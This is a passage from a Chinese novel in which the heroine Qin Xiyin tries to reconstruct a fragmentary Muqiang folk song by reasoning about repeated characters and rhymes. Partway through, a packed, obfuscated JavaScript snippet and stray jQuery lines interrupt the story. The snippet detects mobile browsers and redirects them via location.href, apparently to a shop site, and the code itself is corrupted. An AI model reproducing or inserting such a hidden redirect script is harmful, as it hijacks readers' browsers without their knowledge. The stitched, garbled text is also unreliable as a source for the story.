/某///某/马/////某//(这几个相同的字,用“某”字替代,并不是说那个字是“某”的含义)
民谣一般通俗易懂,不会用太复杂的字,其中出现重复的字也属正常。
秦惜音试着在白纸上把这几个字重新排列,变成了这样:
/某//
/某/马
////
/某//
她看了一会,觉得这样断句比较合理。如果某几句诗歌里出现了相同的字,这些字的位置一般也会相同,这样比较朗朗上口,也比较好记。
比如《木兰诗》中有一句:“开我东阁门,坐我西阁床。脱我战时袍,著我旧时裳。”
这四个短句里面,每一句都有个“我”,而且“我”字都在第二个字。
再比如“我住长江头,君住长江尾”,每个短句里都有个“住”字,而且“住”的位置都在第二个字。
那么,这首民谣里连续出现三次的字,会是什么字呢?
会不会是“我”字?
这样会不会太简单了?
但是,现在处于假设的阶段,秦惜音决定大胆假设,那几个字就是“我”。
木羌族大部分人文化水平不高,而民谣是在民间传诵的,那用的肯定都是一些常见字,“我”字就是其中之一。
于是,她重新写下:
/我//
/我/马
////
/我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16751633|190012||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
//
这样看的话,最后一行的最后一个字,应该是跟“马”押韵的。
因为民谣虽然简单,但也会采用押韵的技巧,很少有不押韵的。
这首民谣既然收录在民谣集里,应该是比较经典的,传唱度比较高的。那么,就大胆假设它是押韵的。
那最后一个会是什么字呢?
跟“马”押韵的字并不多,而且有一些不适合用在歌谣里,比如寡淡的“寡”、千刀万剐的“剐”。
还有几个字比较复杂,木羌族的人应该也不会编进歌谣里,比如赭石的“赭”、大厦的“厦”、优雅的“雅”、“神降嘏福”的“嘏”。
如此一来,可供选择的字就更少了,比如舍、写、瓦、玛、假……
秦惜音写下可能的字,在这几个字之间来回看……
忽然,她想到了一则史料。
史料记载,木羌族人的姑娘喜欢以“卓玛”为名,所以“卓玛”是她们一个很常用的名字。
既然这样,这首民谣的最后两个字,会不会是“卓玛”?
那就变成了:
/我//
/我/马
////
/我卓玛
在这个基础上,继续假设下去。如果之前的猜测都是对的,那民谣的最后一句就是“/我卓玛”。
也就是说,四个字已经知道三个字了。
那第四句话的第一个字,究竟要是什么字,才能让这句话通顺呢